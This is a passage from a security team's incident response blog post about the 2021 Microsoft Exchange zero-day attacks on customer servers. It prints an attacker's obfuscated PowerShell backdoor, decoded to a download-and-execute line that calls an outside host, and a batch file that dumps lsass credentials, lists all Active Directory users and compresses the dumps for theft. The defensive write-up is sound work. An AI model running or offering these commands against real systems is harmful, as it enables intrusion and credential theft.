43,00,38,00,41,00,59,00,77,00,42,00,6b,00,41,00,47,00,34,00,41,00,4c,00,67,\
00,42,00,6a,00,41,00,47,00,67,00,41,00,59,00,51,00,42,00,30,00,41,00,47,00,\
4d,00,41,00,5a,00,41,00,42,00,75,00,41,00,43,00,34,00,41,00,62,00,67,00,42,\
00,6c,00,41,00,48,00,51,00,41,00,4c,00,77,00,42,00,77,00,41,00,44,00,38,00,\
41,00,61,00,41,00,42,00,70,00,41,00,47,00,63,00,41,00,4d,00,67,00,41,00,78,\
00,41,00,44,00,41,00,41,00,4d,00,77,00,41,00,77,00,41,00,44,00,55,00,41,00,\
4a,00,77,00,41,00,70,00,41,00,41,00,3d,00,3d,00,00,00,00,00
After converting this HEX-value, it reveals the execution powershell -ep bypass -e followed by the base64 encoded payload as we see below.
1
..ff……..p.o.w.e.r.s.h.e.l.l.Ü…-.e.p. .b.y.p.a.s.s. .-.e. .S.Q.B.F.A.F.g.A.I.A.A.o.A.E.4.A.Z.Q.B.3.A.C.0.A.T.w.B.i.A.G.o.A.Z.Q.B.j.A.H.Q.A.I.A.B.O.A.G.U.A.d.A.A.u.A.F.c.A.Z.Q.B.i.A.E.M.A.b.A.B.p.A.G.U.A.b.g.B.0.A.C.k.A.L.g.B.k.A.G.8.A.d.w.B.u.A.G.w.A.b.w.B.h.A.G.Q.A.c.w.B.0.A.H.I.A.a.Q.B.u.A.G.c.A.K.A.A.n.A.G.g.A.d.A.B.0.A.H.A.A.O.g.A.v.A.C.8.A.Y.w.B.k.A.G.4.A.L.g.B.j.A.G.g.A.Y.Q.B.0.A.G.M.A.Z.A.B.u.A.C.4.A.b.g.B.l.A.H.Q.A.L.w.B.w.A.D.8.A.a.A.B.p.A.G.c.A.M.g.A.x.A.D.A.A.M.w.A.w.A.D.U.A.J.w.A.p.A.A.=.=…..
After decoding this base64 encoded string, we got left with the actual payload. This payload is using the Invoke-Expression cmdlet to create an object to download a payload from http://cdn.chatcdn.net/phig210305. DeepGuard was blocking this download attempt.
1
IEX (New-Object Net.WebClient).downloadstring('http://cdn.chatcdn.net/phig210305')
We have removed the registry keys related to this backdoor and rebooted the server to clean the memory. Our primary action was only removing the keys, and after a couple of minutes, we received again notifications from our EDR system that the PowerShell script is being blocked by DeepGuard. We gave the server a reboot to clean up the memory. After that, the threat was averted and we received no more notifications from EDR.
First conclusion
After taking down this backdoor attempt we have learned that threat actors are innovating further to bypass defenses and gain access to their targets. From this perspective, it’s highly recommended to install antivirus software on all of your servers along with an EDR solution to make sure that all threats are being blocked and that you have enough information to analyze the threat. Without EDR we were not able to analyze this threat in the proper way. Because this Exchange server did not initially have EDR installed, we had trouble analyzing F-Secure’s first message, because DeepGuard does not provide any more information than just that a threat has been blocked. Yes, the manual investigation could also reveal all of this, but you want to kill this as fast as possible. Having EDR really helps this process.
Additionally, we urge you to implement Multi-Factor Authentication in your environment for all users. Volexity found traces of authentication bypassing in their analysis of these zero-days, which is made more difficult with Multi-Factor Authentication.
Last but not least, please make sure that you have proper patch management. It’s a very important piece of your defenses to patch all known vulnerabilities in the Microsoft operating system as well as in third-party applications.
Threat actor tries to dump lsass
A week after we had found the backdoor, we are still feeling the energy coursing through our veins from the successful incident response, we received a notification from another customer. The Endpoint Detection and Response had found a chain of malicious events. This notification came from their Microsoft Exchange Server…
We directly jumped to our EDR dashboard to found out what EDR had found, and it seems it had detected an abnormal process relation. It alls starts with the process w3wp.exe, the same process which is being used by Microsoft Exchange… The attacker had placed a test.bat file on the server.
We checked with the IT team about the security update, and they confirmed that the security patch was installed. How is it possible that the attacker had managed to get access after the security patch was installed? It turns out, that the patch didn’t install properly, and that the file Microsoft.Exchange.RpcClientAccess.Service.exe wasn’t updated… So, this server was still vulnerable to the zero-day vulnerabilities. We directly starting downloading the patch and start the installation of this patch.
Parallel to the installation of the patch, we checked the contents of the file C:\inetpub\wwwroot\aspnet_client\test.bat, and this file contains some commands which are being executed against the operating system.
1
2
3
4
powershell rundll32.exe c:\windows\system32\comsvcs.dll MiniDump 656 c:\inetpub\wwwroot\aspnet_client\53e4ba71bfe<REDACTED>a18364d1.tmp.dmp full
dsquery * -limit 0 -filter objectCategory=person -attr * -uco > c:\inetpub\wwwroot\aspnet_client\53e4ba71bfe<REDACTED>8f9364d.tmp
makecab c:\inetpub\wwwroot\aspnet_client\53e4ba71b<REDACTED>9364d1.tmp.dmp c:\inetpub\wwwroot\aspnet_client\53e4ba71b<REDACTED>9364d1.dmp.zip
makecab c:\inetpub\wwwroot\aspnet_client\53e4ba71bfe<REDACTED>8f9364d.tmp c:\inetpub\wwwroot\aspnet_client\53e4ba71bfe<REDACTED>8f9364d.dmp.zip
The attacker had dumped the credentials and de decryption key from out the memory and it in a .tmp.dmp file in the directory c:\inetpub\wwwroot\aspnet_client\, so that he can access this file remotely from the internet and download the file.
The second command is a query against the Active Directory to create a list of all user object which exist in the Active Directory database. The attacker knows what he needs to do, he also can create a reverse shell with nishang or another tool, but the likelihood that it would be detected would also be greater. With the last lines, the attacker was compressing the dumps to a .cab cabinet with makecab.
Our EDR system had captured the whole chain of events and raised the alert. We directly removed the files and blocked the HTTPS 443/tcp from the internet to this Microsoft Exchange Server.
We were shocked by the fact that the patch wasn’t installed properly. Also, after the second installation, the patch wasn’t working in the right way, and in the end, it turns out that the Microsoft Exchange installation was broken. The IT team restored the server from a backup. After restoring we had to make sure that there are no web shells are back on the server, the web shells we found after restoring we have removed directly.
Second conclusion
After we have done the second incident response after the zero-day vulnerabilities, we have advised the IT Team to install a fresh new Exchange server and change the passwords of all the administrator accounts.
We increasingly feel the urgency for proper detection mechanisms on our customers’ servers. Every server is equipped with antivirus software by default, but is every server also equipped with EDR? The sophisticated and highly skilled threat actors have ways of evading the standard antivirus mechanisms.
For us as security engineers, these were two intensive weeks. On March 2, we first received a notification from Microsoft that zero-day vulnerabilities had been found, a notification that we receive more often, but we could not have imagined at the time that we would then have to deal with two challenging incident response cases. We learned a lot from this.
I hope this blog article has provided a nice insight into the work of a blue team in 2021 during the zero-day vulnerabilities found in Microsoft Exchange.
- T13nn3s